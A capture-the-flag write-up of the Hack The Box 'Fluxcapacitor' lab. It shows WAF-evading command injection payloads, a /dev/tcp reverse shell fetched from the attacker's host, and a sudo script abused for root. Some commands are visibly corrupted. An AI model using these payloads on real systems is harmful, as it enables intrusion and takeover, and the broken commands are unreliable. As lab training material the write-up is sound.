HTB – Fluxcapacitor

Today we are going to solve another CTF challenge “Fluxcapacitor”. Fluxcapacitor is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Here are two blog posts (WAF Evasion Techniques Part 1 & WAF Evasion Techniques Part 2) from the creator of Fluxcapacitor. These blog posts really helped me understand the technique and apply it in order to root this box. I highly recommend that you read it first before proceeding!

1. Let’s start off with our basic nmap command to find out the open ports and services.

root@loki:~# nmap -sS -sV -T4 -Pn 10.10.10.69

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-25 01:16 +08
Nmap scan report for 10.10.10.69
Host is up (0.35s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.19 seconds

Interesting. Based on the results of our nmap scan, it seems that the website hosted in port 80 is protected by some kind of Web Application Firewall. Looks custom made since no version was identified by nmap and searching for SuperWAF does not yield any result relating to a specific product.

2. Next, let’s try to further enumerate port 80 using nmap.

root@kali:~# nmap -Pn -p 80 --script http-methods --script-args http-methods.url-path='/' 10.10.10.69

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-25 01:20 +08
Nmap scan report for 10.10.10.69
Host is up.

PORT   STATE    SERVICE
80/tcp filtered http

Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds

root@kali:~# nmap -Pn -p 80 --script http-enum 10.10.10.69

Starting Nmap 7.60 ( https://nmap.org ) at 2018-12-03 02:28 +08
Nmap scan report for 10.10.10.69
Host is up (0.40s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 285.01 seconds

No results eh? Looks like the WAF is really doing its job properly.

3. Let’s try to use a WAF identification tool called wafw00f

root@kali:~# wafw00f http://10.10.10.69

                                   ^     ^
          _   __  _   ____ _   __  _    _   ____
         ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
        | V V // o // _/ | V V // 0 // 0 // _/
        |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                  <
                                   ...'

      WAFW00F - Web Application Firewall Detection Tool

      By Sandro Gauci && Wendel G. Henrique

  Checking http://10.10.10.69
  Generic Detection results:
  No WAF detected by the generic detection
  Number of requests: 12

  WAF undetected

Still undetected? Since we basically have nothing with regards to the website and also nothing with regards to the WAF protecting it, let’s just move on and perform manual enumeration.

4. We proceed to browsing the website using a browser and playing with it using burp

Lol. I think this will be a rough road for us.

Checking out the source code of the page, we can see a snippet of code commented out. There seems to be some kind of page was supposed to output the current timestamp on the page. For some reason, the developer of the website commented it out? Maybe the implementation is not finished yet? Or it’s not secure? Let’s check it out with burp suite!

Hmmm. 403 forbidden? Is this the WAF’s doing? Let’s try to play around with HTTP headers.

So by modifying the user-agent string on the GET request to /sync, we can get the current timestamp. Hmmm. Based from what I’ve seen from previous unsecured apps that I’ve tested before, this kind of functionality usually passes a parameter to the Operating System to get the current timestamp. Maybe we can inject some OS commands? Let’s assume that for now. And remember, there is a WAF that’s supposed to block “malicious” requests.

5. Next item on our list is to find that parameter that’s being passed from the web app to the OS. This can be done by applying fuzzing techniques on the request. By using a dictionary file, we can determine which parameter the web app reacts to differently.

root@kali:~/Desktop# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 60 -H "User-Agent: curl/7.57.0" "http://10.10.10.69/sync?FUZZ=test"
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer                      *
********************************************************

Target: http://10.10.10.69/sync?FUZZ=test
Total requests: 81643

==================================================================
ID	Response   Lines      Word         Chars          Request    
==================================================================

00000:  C=200      2 L	       1 W	     19 Ch	  "#"
00001:  C=200      2 L	       1 W	     19 Ch	  "# Suite 300, San Francisco, California, 94105, USA."
00002:  C=200      2 L	       1 W	     19 Ch	  "#"
00003:  C=200      2 L	       1 W	     19 Ch	  "index"
00004:  C=200      2 L	       1 W	     19 Ch	  "#"
00005:  C=200      2 L	       1 W	     19 Ch	  "# Priority ordered case insensative list, where entries were found"
00006:  C=200      2 L	       1 W	     19 Ch	  "# on atleast 3 different hosts"
00007:  C=200      2 L	       1 W	     19 Ch	  ""
00008:  C=200      2 L	       1 W	     19 Ch	  "images"
00009:  C=200      2 L	       1 W	     19 Ch	  "download"
00010:  C=200      2 L	       1 W	     19 Ch	  "cgi-bin"
00011:  C=200      2 L	       1 W	     19 Ch	  "2006"
00012:  C=200      2 L	       1 W	     19 Ch	  "news"
00013:  C=200      2 L	       1 W	     19 Ch	  "serial"
00014:  C=200      2 L	       1 W	     19 Ch	  "contact"
00015:  C=200      2 L	       1 W	     19 Ch	  "08"
00016:  C=200      2 L	       1 W	     19 Ch	  "about"
00017:  C=200      2 L	       1 W	     19 Ch	  "warez"
00018:  C=200      2 L	       1 W	     19 Ch	  "12"
00019:  C=200      2 L	       1 W	     19 Ch	  "spacer"
00020:  C=200      2 L	       1 W	     19 Ch	  "crack"
00021:  C=200      2 L	       1 W	     19 Ch	  "search"
00022:  C=200      2 L	       1 W	     19 Ch	  "04"
00023:  C=200      2 L	       1 W	     19 Ch	  "2005"
00024:  C=200      2 L	       1 W	     19 Ch	  "blog"
00025:  C=200      2 L	       1 W	     19 Ch	  "new"
00026:  C=200      2 L	       1 W	     19 Ch	  "logo"
00027:  C=200      2 L	       1 W	     19 Ch	  "privacy"
<--------------------------TRUNCATED--------------------------->

My initial testing using wfuzz showed that when using curl’s user agent string and fuzzing for a parameter in the /sync page with a value of “test”, the server returns a 200 as the response code and 19 characters. This 19 characters is the current timestamp. So the WAF is not blocking the requests with the random parameters huh?

Based from this observation, we want to see a specific parameter that will get a negative reaction from the WAF. A negative reaction from the WAF means that the WAF is checking for its value. In this case, we expect that the value “test” will trigger a negative reaction from the WAF if passed with the parameter that we are looking for.

root@kali:~/Desktop# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt --hh 19 -t 60 -H "User-Agent: curl/7.57.0" "http://10.10.10.69/sync?FUZZ=test"

  Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

  ********************************************************
  * Wfuzz 2.2.3 - The Web Fuzzer                         *
  ********************************************************

  Target: HTTP://10.10.10.69/sync?FUZZ=test
  Total requests: 81643

  ==================================================================
  ID	Response   Lines      Word         Chars          Payload    
  ==================================================================

  09938:  C=403      7 L	      10 W	    175 Ch	  "opt"

  Total time: 1079.532
  Processed Requests: 81643
  Filtered Requests: 81642
  Requests/sec.: 75.62809

Alright! So the “opt” parameter triggers a negative reaction from the WAF if its value is set to “test”. Now we know, that the WAF is filtering the value of this parameter.

6. Following the assumption that we may be able to inject OS commands, let’s play with the “opt” parameter. Let’s try to apply some WAF bypass techniques here.

root@kali:~/Desktop# curl "http://10.10.10.69/sync?opt=' who'am'i'"
nobody
bash: -c: option requires an argument

After some, oh who am I kidding? After A LOT of trial and error, we can successfully inject OS commands by using the  character to take advantage of string literal concatenation. It means that adjacent string literals are concatenated, without any operator. This syntax could be used to bypass a filter (or a WAF rule) that is based on “match phrases”.

7. Following this technique to bypass the WAF, we can successfully capture the user flag.

root@kali:~/Desktop# curl "http://10.10.10.69/sync?opt=' l's' -'a'lR /ho'me'/'"
/home/:
total 16
drwxr-xr-x 4 root root 4096 Dec 5 14:58 .
drwxr-xr-x 22 root root 4096 Dec 8 22:00 ..
drwxr-xr-x 2 nobody root 4096 Dec 5 14:58 FluxCapacitorInc
drwxr-xr-x 4 themiddle themiddle 4096 Dec 24 17:10 themiddle

/home/FluxCapacitorInc:
total 12
drwxr-xr-x 2 nobody root 4096 Dec 5 14:58 .
drwxr-xr-x 4 root root 4096 Dec 5 14:58 ..
-rw-r--r-- 1 root root 33 Dec 5 14:58 user.txt

/home/themiddle:
total 56
drwxr-xr-x 4 themiddle themiddle 4096 Dec 24 17:10 .
drwxr-xr-x 4 root root 4096 Dec 5 14:58 ..
-rw------- 1 themiddle themiddle 1 Dec 24 17:13 .bash_history
-rw------- 1 root root 12288 Dec 24 17:18 .bash_history.swp
-rw-r--r-- 1 themiddle themiddle 220 Dec 2 09:14 .bash_logout
-rw-r--r-- 1 themiddle themiddle 3771 Dec 2 09:14 .bashrc
drwx------ 2 themiddle themiddle 4096 Dec 2 09:16 .cache
-rwxr-xr-x 1 root root 123 Dec 4 16:01 .monit
drwxrwxr-x 2 themiddle themiddle 4096 Dec 8 19:54 .nano
-rw-r--r-- 1 themiddle themiddle 675 Dec 2 09:14 .profile
-rw-r--r-- 1 themiddle themiddle 0 Dec 2 09:17 .sudo_as_admin_successful
-rwxr-xr-x 1 root root 130 Dec 5 11:37 checksync
-r--r--r-- 1 themiddle themiddle 46 Dec 5 15:01 user.txt

root@kali:~/Desktop# curl "http://10.10.10.69/sync?opt=' c'at' /ho'me'/the????le/u'ser'.'txt''"
Flags? Where we're going we don't need flags.

root@kali:~/Desktop# curl "http://10.10.10.69/sync?opt=' c'at' /ho'me'/Fl??Ca???itor???/u'ser'.'txt''"
{FLAG_REDACTED}
bash: -c: option requires an argument

User flag captured!

Burping to a shell

The pattern /-/ (with anything in between) also appears to be caught by the filter. By serving a bash script as index.html , the use of a slash in wget/curl can be avoided and the command execution can be leveraged to obtain a reverse shell. 
index.html containts 1 line: bash -i >& /dev/tcp/10.10.14.19/8080 0>&1
We 1st upload our shell with curl command to /tmp & then bash=execute our server shell
curl -v "http://10.10.10.69/sync?opt=' c\u\r\l 10.10.14.19 -o /tmp/puck'"
curl -v "http://10.10.10.69/sync?opt=' l\s -la /tmp'"
curl -v "http://10.10.10.69/sync?opt=' b\a\s\h 10.10.14.19 -o /tmp/puck'"

WHY IT WORKS?

So I did a little digging on why how our initial exploit worked. Looking at the file /usr/local/openresty/nginx/conf/nginx.conf on the system revealed the following snippet of configuration lines.

As you can see, the opt parameter is passed to the checksync command which is the code responsible for printing the current timestamp. By using  to escape and split the string value passed via opt, we were able to bypass the WAF and inject OS commands.

8. Since we can already execute commands remotely, let’s proceed to enumerate the system for any privilege escalation vector.

nobody@fluxcapacitor:/$ sudo -l
sudo -l
Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
nobody@fluxcapacitor:/$ cat /home/themiddle/.monit
cat /home/themiddle/.monit
#!/bin/bash

if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
nobody@fluxcapacitor:/$ echo -n bash | base64
echo -n bash | base64
YmFzaA==
nobody@fluxcapacitor:/$ sudo -u root /home/themiddle/.monit cmd YmFzaA==
sudo -u root /home/themiddle/.monit cmd YmFzaA==
Trying to execute YmFzaA==
id
uid=0(root) gid=0(root) groups=0(root)

Root flag captured!

As always, thanks for reading and I hope you learned something new today. Please feel free to comment if you need to discuss or clear out something. Not sure if I explained the approach well enough on this one.

This is certainly a fun box and I learned a lot from it.

Author : InfoSecurityGeek  (modified by Jacco Straathof)

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *